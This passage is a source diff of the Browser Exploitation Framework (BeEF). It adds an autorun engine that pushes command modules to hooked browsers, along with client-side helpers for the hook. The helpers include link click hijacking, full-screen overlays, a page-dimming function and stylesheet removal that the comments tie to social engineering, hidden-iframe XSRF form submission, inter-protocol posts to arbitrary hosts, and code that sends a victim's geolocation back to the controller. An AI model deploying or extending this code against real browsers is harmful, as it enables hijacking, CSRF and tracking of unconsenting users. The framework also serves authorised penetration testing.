match_rules.push(rule.id)
|
||||
end
|
||||
rescue => e
|
||||
print_error e.message
|
||||
print_debug e.backtrace.join("\n")
|
||||
end
|
||||
end
|
||||
print_more "Found [#{match_rules.length}/#{rules.length}] ARE rules matching the hooked browser type/version."
|
||||
|
||||
return match_rules
|
||||
end
|
||||
|
||||
# compare versions
|
||||
def compare_versions(ver_a, cond, ver_b)
|
||||
return true if cond == 'ALL'
|
||||
return true if cond == '==' && ver_a == ver_b
|
||||
return true if cond == '<=' && ver_a <= ver_b
|
||||
return true if cond == '<' && ver_a < ver_b
|
||||
return true if cond == '>=' && ver_a >= ver_b
|
||||
return true if cond == '>' && ver_a > ver_b
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
30
core/main/autorun_engine/models/execution.rb
Normal file
30
core/main/autorun_engine/models/execution.rb
Normal file
@@ -0,0 +1,30 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
module BeEF
|
||||
module Core
|
||||
module AutorunEngine
|
||||
module Models
|
||||
# @note Stored info about the execution of the ARE on hooked browsers.
|
||||
class Execution
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'core_areexecution'
|
||||
|
||||
property :id, Serial
|
||||
property :session, Text # hooked browser session where a ruleset triggered
|
||||
property :mod_count, Integer # number of command modules of the ruleset
|
||||
property :mod_successful, Integer # number of command modules that returned with success
|
||||
# By default Text is only 65K, so field length increased to 1 MB
|
||||
property :mod_body, Text, :length => 1024000 # entire command module(s) body to be sent
|
||||
property :exec_time, String, :length => 15 # timestamp of ruleset triggering
|
||||
property :is_sent, Boolean
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
34
core/main/autorun_engine/models/rule.rb
Normal file
34
core/main/autorun_engine/models/rule.rb
Normal file
@@ -0,0 +1,34 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
module BeEF
|
||||
module Core
|
||||
module AutorunEngine
|
||||
module Models
|
||||
# @note Table stores the rules for the Distributed Engine.
|
||||
class Rule
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'core_arerules'
|
||||
|
||||
property :id, Serial
|
||||
property :name, Text # rule name
|
||||
property :author, String # rule author
|
||||
property :browser, String, :length => 10 # browser name
|
||||
property :browser_version, String, :length => 15 # browser version
|
||||
property :os, String, :length => 10 # OS name
|
||||
property :os_version, String, :length => 15 # OS version
|
||||
property :modules, Text # JSON stringyfied representation of the JSON rule for further parsing
|
||||
property :execution_order, Text # command module execution order
|
||||
property :execution_delay, Text # command module time delays
|
||||
property :chain_mode, String, :length => 40 # rule chaining mode
|
||||
|
||||
has n, :executions
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
82
core/main/autorun_engine/parser.rb
Normal file
82
core/main/autorun_engine/parser.rb
Normal file
@@ -0,0 +1,82 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module AutorunEngine
|
||||
|
||||
class Parser
|
||||
|
||||
include Singleton
|
||||
|
||||
def initialize
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
end
|
||||
|
||||
BROWSER = ['FF','C','IE','S','O','ALL']
|
||||
OS = ['Linux','Windows','OSX','Android','iOS','BlackBerry','ALL']
|
||||
VERSION = ['<','<=','==','>=','>','ALL','Vista','XP']
|
||||
CHAIN_MODE = ['sequential','nested-forward']
|
||||
MAX_VER_LEN = 15
|
||||
# Parse a JSON ARE file and returns an Hash with the value mappings
|
||||
def parse(name,author,browser, browser_version, os, os_version, modules, exec_order, exec_delay, chain_mode)
|
||||
begin
|
||||
success = [true]
|
||||
|
||||
return [false, 'Illegal chain_mode definition'] unless CHAIN_MODE.include?(chain_mode)
|
||||
return [false, 'Illegal rule name'] unless BeEF::Filters.is_non_empty_string?(name)
|
||||
return [false, 'Illegal author name'] unless BeEF::Filters.is_non_empty_string?(author)
|
||||
|
||||
return [false, 'Illegal browser definition'] unless BROWSER.include?(browser)
|
||||
|
||||
if browser_version != 'ALL'
|
||||
return [false, 'Illegal browser_version definition'] unless
|
||||
VERSION.include?(browser_version[0,2].gsub(/\s+/,'')) &&
|
||||
BeEF::Filters::is_valid_browserversion?(browser_version[2..-1].gsub(/\s+/,'')) && browser_version.length < MAX_VER_LEN
|
||||
end
|
||||
|
||||
if os_version != 'ALL'
|
||||
return [false, 'Illegal os_version definition'] unless
|
||||
VERSION.include?(os_version[0,2].gsub(/\s+/,'')) &&
|
||||
BeEF::Filters::is_valid_osversion?(os_version[2..-1].gsub(/\s+/,'')) && os_version.length < MAX_VER_LEN
|
||||
end
|
||||
|
||||
return [false, 'Illegal os definition'] unless OS.include?(os)
|
||||
|
||||
# check if module names, conditions and options are ok
|
||||
modules.each do |cmd_mod|
|
||||
mod = BeEF::Core::Models::CommandModule.first(:name => cmd_mod['name'])
|
||||
if mod != nil
|
||||
modk = BeEF::Module.get_key_by_database_id(mod.id)
|
||||
mod_options = BeEF::Module.get_options(modk)
|
||||
|
||||
opt_count = 0
|
||||
mod_options.each do |opt|
|
||||
if opt['name'] == cmd_mod['options'].keys[opt_count]
|
||||
opt_count += 1
|
||||
else
|
||||
return [false, "The specified option (#{cmd_mod['options'].keys[opt_count]
|
||||
}) for module (#{cmd_mod['name']}) does not exist"]
|
||||
end
|
||||
end
|
||||
else
|
||||
return [false, "The specified module name (#{cmd_mod['name']}) does not exist"]
|
||||
end
|
||||
end
|
||||
|
||||
exec_order.each{ |order| return [false, 'execution_order values must be Integers'] unless order.integer?}
|
||||
exec_delay.each{ |delay| return [false, 'execution_delay values must be Integers'] unless delay.integer?}
|
||||
|
||||
success
|
||||
rescue => e
|
||||
print_error "#{e.message}"
|
||||
print_debug "#{e.backtrace.join("\n")}"
|
||||
return [false, 'Something went wrong.']
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
95
core/main/autorun_engine/rule_loader.rb
Normal file
95
core/main/autorun_engine/rule_loader.rb
Normal file
@@ -0,0 +1,95 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module AutorunEngine
|
||||
|
||||
class RuleLoader
|
||||
|
||||
include Singleton
|
||||
|
||||
def initialize
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
end
|
||||
|
||||
# this expects parsed JSON as input
|
||||
def load(data)
|
||||
begin
|
||||
|
||||
name = data['name']
|
||||
author = data['author']
|
||||
browser = data['browser']||'ALL'
|
||||
browser_version = data['browser_version']||'ALL'
|
||||
os = data['os']||'ALL'
|
||||
os_version = data['os_version']||'ALL'
|
||||
modules = data['modules']
|
||||
exec_order = data['execution_order']
|
||||
exec_delay = data['execution_delay']
|
||||
chain_mode = data['chain_mode']
|
||||
|
||||
parser_result = BeEF::Core::AutorunEngine::Parser.instance.parse(
|
||||
name,author,browser,browser_version,os,os_version,modules,exec_order,exec_delay,chain_mode)
|
||||
|
||||
if parser_result.length == 1 && parser_result.first
|
||||
print_info "[ARE] Ruleset (#{name}) parsed and stored successfully."
|
||||
print_more "Target Browser: #{browser} (#{browser_version})"
|
||||
print_more "Target OS: #{os} (#{os_version})"
|
||||
print_more "Modules to Trigger:"
|
||||
modules.each do |mod|
|
||||
print_more "(*) Name: #{mod['name']}"
|
||||
print_more "(*) Condition: #{mod['condition']}"
|
||||
print_more "(*) Code: #{mod['code']}"
|
||||
print_more "(*) Options:"
|
||||
mod['options'].each do |key,value|
|
||||
print_more "\t#{key}: (#{value})"
|
||||
end
|
||||
end
|
||||
print_more "Exec order: #{exec_order}"
|
||||
print_more "Exec delay: #{exec_delay}"
|
||||
are_rule = BeEF::Core::AutorunEngine::Models::Rule.new(
|
||||
:name => name,
|
||||
:author => author,
|
||||
:browser => browser,
|
||||
:browser_version => browser_version,
|
||||
:os => os,
|
||||
:os_version => os_version,
|
||||
:modules => modules.to_json,
|
||||
:execution_order => exec_order,
|
||||
:execution_delay => exec_delay,
|
||||
:chain_mode => chain_mode)
|
||||
are_rule.save
|
||||
return { 'success' => true, 'rule_id' => are_rule.id}
|
||||
else
|
||||
print_error "[ARE] Ruleset (#{name}): ERROR. " + parser_result.last
|
||||
return { 'success' => false, 'error' => parser_result.last }
|
||||
end
|
||||
|
||||
rescue => e
|
||||
err = 'Malformed JSON ruleset.'
|
||||
print_error "[ARE] Ruleset (#{name}): ERROR. #{e} #{e.backtrace}"
|
||||
return { 'success' => false, 'error' => err }
|
||||
end
|
||||
end
|
||||
|
||||
def load_file(json_rule_path)
|
||||
begin
|
||||
rule_file = File.open(json_rule_path, 'r:UTF-8', &:read)
|
||||
self.load JSON.parse(rule_file)
|
||||
rescue => e
|
||||
print_error "[ARE] Failed to load ruleset from #{json_rule_path}"
|
||||
end
|
||||
end
|
||||
|
||||
def load_directory
|
||||
Dir.glob("#{$root_dir}/arerules/enabled/**/*.json") do |rule|
|
||||
print_info "[ARE] Processing rule: #{rule}"
|
||||
self.load_file rule
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,16 +1,18 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.are = {
|
||||
init:function(){
|
||||
var Jools = require('jools');
|
||||
this.ruleEngine = new Jools();
|
||||
status_success: function(){
|
||||
return 1;
|
||||
},
|
||||
rules:[],
|
||||
commands:[],
|
||||
results:[]
|
||||
status_unknown: function(){
|
||||
return 0;
|
||||
},
|
||||
status_error: function(){
|
||||
return -1;
|
||||
}
|
||||
};
|
||||
beef.regCmp("beef.are");
|
||||
beef.regCmp("beef.are");
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -31,7 +31,21 @@ if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
|
||||
|
||||
// An array containing all the BeEF JS components.
|
||||
components: new Array(),
|
||||
|
||||
|
||||
/**
|
||||
* Adds a function to display debug messages (wraps console.log())
|
||||
* @param: {string} the debug string to return
|
||||
*/
|
||||
debug: function(msg) {
|
||||
if (!<%= @client_debug %>) return;
|
||||
if (typeof console == "object" && typeof console.log == "function") {
|
||||
console.log(msg);
|
||||
} else {
|
||||
// TODO: maybe add a callback to BeEF server for debugging purposes
|
||||
//window.alert(msg);
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
* Adds a function to execute.
|
||||
* @param: {Function} the function to execute.
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -71,12 +71,36 @@ beef.browser.cookie = {
|
||||
( ( domain ) ? ";domain=" + domain : "" ) +
|
||||
";expires=Thu, 01-Jan-1970 00:00:01 GMT";
|
||||
},
|
||||
|
||||
veganLol: function (){
|
||||
var to_hell= '';
|
||||
var min = 17;
|
||||
var max = 25;
|
||||
var lol_length = Math.floor(Math.random() * (max - min + 1)) + min;
|
||||
|
||||
var grunt = function(){
|
||||
var moo = Math.floor(Math.random() * 62);
|
||||
var char = '';
|
||||
if(moo < 36){
|
||||
char = String.fromCharCode(moo + 55);
|
||||
}else{
|
||||
char = String.fromCharCode(moo + 61);
|
||||
}
|
||||
if(char != ';' && char != '='){
|
||||
return char;
|
||||
}else{
|
||||
return 'x';
|
||||
}
|
||||
};
|
||||
|
||||
while(to_hell.length < lol_length){
|
||||
to_hell += grunt();
|
||||
}
|
||||
return to_hell;
|
||||
},
|
||||
|
||||
hasSessionCookies: function (name)
|
||||
{
|
||||
var name = name || "cookie";
|
||||
if (name == "") name = "cookie";
|
||||
this.setCookie( name, 'none', '', '/', '', '' );
|
||||
hasSessionCookies: function (name){
|
||||
this.setCookie( name, beef.browser.cookie.veganLol(), '', '/', '', '' );
|
||||
|
||||
cookiesEnabled = (this.getCookie(name) == null)? false:true;
|
||||
this.deleteCookie(name, '/', '');
|
||||
@@ -84,11 +108,8 @@ beef.browser.cookie = {
|
||||
|
||||
},
|
||||
|
||||
hasPersistentCookies: function (name)
|
||||
{
|
||||
var name = name || "cookie";
|
||||
if (name == "") name = "cookie";
|
||||
this.setCookie( name, 'none', 1, '/', '', '' );
|
||||
hasPersistentCookies: function (name){
|
||||
this.setCookie( name, beef.browser.cookie.veganLol(), 1, '/', '', '' );
|
||||
|
||||
cookiesEnabled = (this.getCookie(name) == null)? false:true;
|
||||
this.deleteCookie(name, '/', '');
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -76,36 +76,56 @@ beef.dom = {
|
||||
|
||||
return iframe;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns the highest current z-index
|
||||
* @param: {Boolean} whether to return an associative array with the height AND the ID of the element
|
||||
* @return: {Integer} Highest z-index in the DOM
|
||||
* OR
|
||||
* @return: {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}
|
||||
*/
|
||||
getHighestZindex: function(include_id) {
|
||||
var highest = {'height':0, 'elem':''};
|
||||
$j('*').each(function() {
|
||||
var current_high = parseInt($j(this).css("zIndex"),10);
|
||||
if (current_high > highest.height) {
|
||||
highest.height = current_high;
|
||||
highest.elem = $j(this).attr('id');
|
||||
}
|
||||
});
|
||||
|
||||
if (include_id) {
|
||||
return highest;
|
||||
} else {
|
||||
return highest.height;
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
* Create and iFrame element. In case it's create with POST method, the iFrame is automatically added to the DOM and submitted.
|
||||
* example usage in the code: beef.dom.createIframe('fullscreen', 'get', {'src':$j(this).attr('href')}, {}, null);
|
||||
* Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter
|
||||
* is assigned to created iframe tag's src attribute resulting in GET request to that URI.
|
||||
* example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
|
||||
* @param: {String} type: can be 'hidden' or 'fullScreen'. defaults to normal
|
||||
* @param: {String} method: can be 'GET' or 'POST'. defaults to GET
|
||||
* @param: {Hash} params: list of params that will be sent in request.
|
||||
* @param: {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
|
||||
* @param: {Function} a callback function to fire once the iFrame has loaded
|
||||
* @return: {Object} the inserted iFrame
|
||||
*
|
||||
*/
|
||||
createIframe: function(type, method, params, styles, onload) {
|
||||
createIframe: function(type, params, styles, onload) {
|
||||
var css = {};
|
||||
var form_submit = (method.toLowerCase() == 'post') ? true : false;
|
||||
if (form_submit && params['src'])
|
||||
{
|
||||
var form_action = params['src'];
|
||||
params['src'] = '';
|
||||
|
||||
if (type == 'hidden') {
|
||||
css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles);
|
||||
} else if (type == 'fullscreen') {
|
||||
css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px', 'z-index':beef.dom.getHighestZindex()+1}, styles);
|
||||
$j('body').css({'padding':'0px', 'margin':'0px'});
|
||||
} else {
|
||||
css = styles;
|
||||
$j('body').css({'padding':'0px', 'margin':'0px'});
|
||||
}
|
||||
if (type == 'hidden') { css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles); }
|
||||
if (type == 'fullscreen') { css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px'}, styles); $j('body').css({'padding':'0px', 'margin':'0px'}); }
|
||||
var iframe = $j('<iframe />').attr(params).css(css).load(onload).prependTo('body');
|
||||
|
||||
if (form_submit && form_action)
|
||||
{
|
||||
var id = beef.dom.generateID();
|
||||
$j(iframe).attr({'id': id, 'name':id});
|
||||
var form = beef.dom.createForm({'action':form_action, 'method':'get', 'target':id}, false);
|
||||
$j(form).prependTo('body').submit();
|
||||
}
|
||||
return iframe;
|
||||
},
|
||||
|
||||
@@ -127,6 +147,75 @@ beef.dom = {
|
||||
}
|
||||
});
|
||||
},
|
||||
|
||||
/**
|
||||
* Load a full screen div that is black, or, transparent
|
||||
* @param: {Boolean} vis: whether or not you want the screen dimmer enabled or not
|
||||
* @param: {Hash} options: a collection of options to customise how the div is configured, as follows:
|
||||
* opacity:0-100 // Lower number = less grayout higher = more of a blackout
|
||||
* // By default this is 70
|
||||
* zindex: # // HTML elements with a higher zindex appear on top of the gray out
|
||||
* // By default this will use beef.dom.getHighestZindex to always go to the top
|
||||
* bgcolor: (#xxxxxx) // Standard RGB Hex color code
|
||||
* // By default this is #000000
|
||||
*/
|
||||
grayOut: function(vis, options) {
|
||||
// in any order. Pass only the properties you need to set.
|
||||
var options = options || {};
|
||||
var zindex = options.zindex || beef.dom.getHighestZindex()+1;
|
||||
var opacity = options.opacity || 70;
|
||||
var opaque = (opacity / 100);
|
||||
var bgcolor = options.bgcolor || '#000000';
|
||||
var dark=document.getElementById('darkenScreenObject');
|
||||
if (!dark) {
|
||||
// The dark layer doesn't exist, it's never been created. So we'll
|
||||
// create it here and apply some basic styles.
|
||||
// If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/927917
|
||||
var tbody = document.getElementsByTagName("body")[0];
|
||||
var tnode = document.createElement('div'); // Create the layer.
|
||||
tnode.style.position='absolute'; // Position absolutely
|
||||
tnode.style.top='0px'; // In the top
|
||||
tnode.style.left='0px'; // Left corner of the page
|
||||
tnode.style.overflow='hidden'; // Try to avoid making scroll bars
|
||||
tnode.style.display='none'; // Start out Hidden
|
||||
tnode.id='darkenScreenObject'; // Name it so we can find it later
|
||||
tbody.appendChild(tnode); // Add it to the web page
|
||||
dark=document.getElementById('darkenScreenObject'); // Get the object.
|
||||
}
|
||||
if (vis) {
|
||||
// Calculate the page width and height
|
||||
if( document.body && ( document.body.scrollWidth || document.body.scrollHeight ) ) {
|
||||
var pageWidth = document.body.scrollWidth+'px';
|
||||
var pageHeight = document.body.scrollHeight+'px';
|
||||
} else if( document.body.offsetWidth ) {
|
||||
var pageWidth = document.body.offsetWidth+'px';
|
||||
var pageHeight = document.body.offsetHeight+'px';
|
||||
} else {
|
||||
var pageWidth='100%';
|
||||
var pageHeight='100%';
|
||||
}
|
||||
//set the shader to cover the entire page and make it visible.
|
||||
dark.style.opacity=opaque;
|
||||
dark.style.MozOpacity=opaque;
|
||||
dark.style.filter='alpha(opacity='+opacity+')';
|
||||
dark.style.zIndex=zindex;
|
||||
dark.style.backgroundColor=bgcolor;
|
||||
dark.style.width= pageWidth;
|
||||
dark.style.height= pageHeight;
|
||||
dark.style.display='block';
|
||||
} else {
|
||||
dark.style.display='none';
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
* Remove all external and internal stylesheets from the current page - sometimes prior to socially engineering,
|
||||
* or, re-writing a document this is useful.
|
||||
*/
|
||||
removeStylesheets: function() {
|
||||
$j('link[rel=stylesheet]').remove();
|
||||
$j('style').remove();
|
||||
},
|
||||
|
||||
/**
|
||||
* Create a form element with the specified parameters, appending it to the DOM if append == true
|
||||
@@ -178,6 +267,23 @@ beef.dom = {
|
||||
}).length;
|
||||
},
|
||||
|
||||
/**
|
||||
* Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event overwriting.
|
||||
* http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html
|
||||
* @param: {String} url: the url to be rewritten
|
||||
* @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
|
||||
* @return: {Number} the amount of links found in the DOM and rewritten.
|
||||
*/
|
||||
rewriteLinksClickEvents: function(url, selector) {
|
||||
var sel = (selector == null) ? 'a' : selector;
|
||||
return $j(sel).each(function() {
|
||||
if ($j(this).attr('href') != null)
|
||||
{
|
||||
$j(this).click(function() {this.href=url});
|
||||
}
|
||||
}).length;
|
||||
},
|
||||
|
||||
/**
|
||||
* Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https with http)
|
||||
* @param: {String} old_protocol: the old link protocol to be rewritten
|
||||
@@ -267,7 +373,8 @@ beef.dom = {
|
||||
|
||||
if (codebase != null) {
|
||||
content += "<param name='codebase' value='" + codebase + "' />"
|
||||
}else{
|
||||
}
|
||||
if (archive != null){
|
||||
content += "<param name='archive' value='" + archive + "' />";
|
||||
}
|
||||
if (params != null) {
|
||||
@@ -275,7 +382,7 @@ beef.dom = {
|
||||
}
|
||||
content += "</object>";
|
||||
}
|
||||
if (beef.browser.isC() || beef.browser.isS() || beef.browser.isO()) {
|
||||
if (beef.browser.isC() || beef.browser.isS() || beef.browser.isO() || beef.browser.isFF()) {
|
||||
|
||||
if (codebase != null) {
|
||||
content = "" +
|
||||
@@ -294,24 +401,25 @@ beef.dom = {
|
||||
}
|
||||
content += "</applet>";
|
||||
}
|
||||
if (beef.browser.isFF()) {
|
||||
if (codebase != null) {
|
||||
content = "" +
|
||||
"<embed id='" + id + "' code='" + code + "' " +
|
||||
"type='application/x-java-applet' codebase='" + codebase + "' " +
|
||||
"height='0' width='0' name='" + name + "'>";
|
||||
} else {
|
||||
content = "" +
|
||||
"<embed id='" + id + "' code='" + code + "' " +
|
||||
"type='application/x-java-applet' archive='" + archive + "' " +
|
||||
"height='0' width='0' name='" + name + "'>";
|
||||
}
|
||||
|
||||
if (params != null) {
|
||||
content += beef.dom.parseAppletParams(params);
|
||||
}
|
||||
content += "</embed>";
|
||||
}
|
||||
// For some reasons JavaPaylod is not working if the applet is attached to the DOM with the embed tag rather than the applet tag.
|
||||
// if (beef.browser.isFF()) {
|
||||
// if (codebase != null) {
|
||||
// content = "" +
|
||||
// "<embed id='" + id + "' code='" + code + "' " +
|
||||
// "type='application/x-java-applet' codebase='" + codebase + "' " +
|
||||
// "height='0' width='0' name='" + name + "'>";
|
||||
// } else {
|
||||
// content = "" +
|
||||
// "<embed id='" + id + "' code='" + code + "' " +
|
||||
// "type='application/x-java-applet' archive='" + archive + "' " +
|
||||
// "height='0' width='0' name='" + name + "'>";
|
||||
// }
|
||||
//
|
||||
// if (params != null) {
|
||||
// content += beef.dom.parseAppletParams(params);
|
||||
// }
|
||||
// content += "</embed>";
|
||||
// }
|
||||
$j('body').append(content);
|
||||
},
|
||||
|
||||
@@ -327,15 +435,17 @@ beef.dom = {
|
||||
* Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.
|
||||
* @params: {String} action: the form action attribute, where the request will be sent.
|
||||
* @params: {String} method: HTTP method, usually POST.
|
||||
* @params: {String} enctype: form encoding type
|
||||
* @params: {Array} inputs: an array of inputs to be added to the form (type, name, value).
|
||||
* example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]
|
||||
*/
|
||||
createIframeXsrfForm: function(action, method, inputs){
|
||||
createIframeXsrfForm: function(action, method, enctype, inputs){
|
||||
var iframeXsrf = beef.dom.createInvisibleIframe();
|
||||
|
||||
var formXsrf = document.createElement('form');
|
||||
formXsrf.setAttribute('action', action);
|
||||
formXsrf.setAttribute('method', method);
|
||||
formXsrf.setAttribute('action', action);
|
||||
formXsrf.setAttribute('method', method);
|
||||
formXsrf.setAttribute('enctype', enctype);
|
||||
|
||||
var input = null;
|
||||
for (i in inputs){
|
||||
@@ -358,11 +468,11 @@ beef.dom = {
|
||||
* @params: {String} rport: remote port
|
||||
* @params: {String} commands: protocol commands to be executed by the remote host:port service
|
||||
*/
|
||||
createIframeIpecForm: function(rhost, rport, commands){
|
||||
createIframeIpecForm: function(rhost, rport, path, commands){
|
||||
var iframeIpec = beef.dom.createInvisibleIframe();
|
||||
|
||||
var formIpec = document.createElement('form');
|
||||
formIpec.setAttribute('action', 'http://'+rhost+':'+rport+'/index.html');
|
||||
formIpec.setAttribute('action', 'http://'+rhost+':'+rport+path);
|
||||
formIpec.setAttribute('method', 'POST');
|
||||
formIpec.setAttribute('enctype', 'multipart/form-data');
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -32,14 +32,14 @@ beef.geolocation = {
|
||||
|
||||
$j.ajax({
|
||||
error: function(xhr, status, error){
|
||||
//console.log("[geolocation.js] openstreetmap error");
|
||||
beef.debug("[geolocation.js] openstreetmap error");
|
||||
beef.net.send(command_url, command_id, "latitude=" + latitude
|
||||
+ "&longitude=" + longitude
|
||||
+ "&osm=UNAVAILABLE"
|
||||
+ "&geoLocEnabled=True");
|
||||
},
|
||||
success: function(data, status, xhr){
|
||||
//console.log("[geolocation.js] openstreetmap success");
|
||||
beef.debug("[geolocation.js] openstreetmap success");
|
||||
var jsonResp = $j.parseJSON(data);
|
||||
|
||||
beef.net.send(command_url, command_id, "latitude=" + latitude
|
||||
@@ -64,16 +64,16 @@ beef.geolocation = {
|
||||
beef.net.send(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False");
|
||||
return;
|
||||
}
|
||||
//console.log("[geolocation.js] navigator.geolocation.getCurrentPosition");
|
||||
beef.debug("[geolocation.js] navigator.geolocation.getCurrentPosition");
|
||||
navigator.geolocation.getCurrentPosition( //note: this is an async call
|
||||
function(position){ // success
|
||||
var latitude = position.coords.latitude;
|
||||
var longitude = position.coords.longitude;
|
||||
//console.log("[geolocation.js] success getting position. latitude [%d], longitude [%d]", latitude, longitude);
|
||||
beef.debug("[geolocation.js] success getting position. latitude [%d], longitude [%d]", latitude, longitude);
|
||||
beef.geolocation.getOpenStreetMapAddress(command_url, command_id, latitude, longitude);
|
||||
|
||||
}, function(error){ // failure
|
||||
//console.log("[geolocation.js] error [%d] getting position", error.code);
|
||||
beef.debug("[geolocation.js] error [%d] getting position", error.code);
|
||||
switch(error.code) // Returns 0-3
|
||||
{
|
||||
case 0:
|
||||
|
||||
@@ -1,82 +1,167 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.hardware = {
|
||||
|
||||
ua: navigator.userAgent,
|
||||
|
||||
isWinPhone: function() {
|
||||
return (this.ua.match('(Windows Phone)')) ? true : false;
|
||||
},
|
||||
|
||||
isIphone: function() {
|
||||
return (this.ua.indexOf('iPhone') != -1) ? true : false;
|
||||
},
|
||||
ua: navigator.userAgent,
|
||||
|
||||
isIpad: function() {
|
||||
return (this.ua.indexOf('iPad') != -1) ? true : false;
|
||||
},
|
||||
/*
|
||||
* @return: {String} CPU type
|
||||
**/
|
||||
cpuType: function() {
|
||||
var arch = 'UNKNOWN';
|
||||
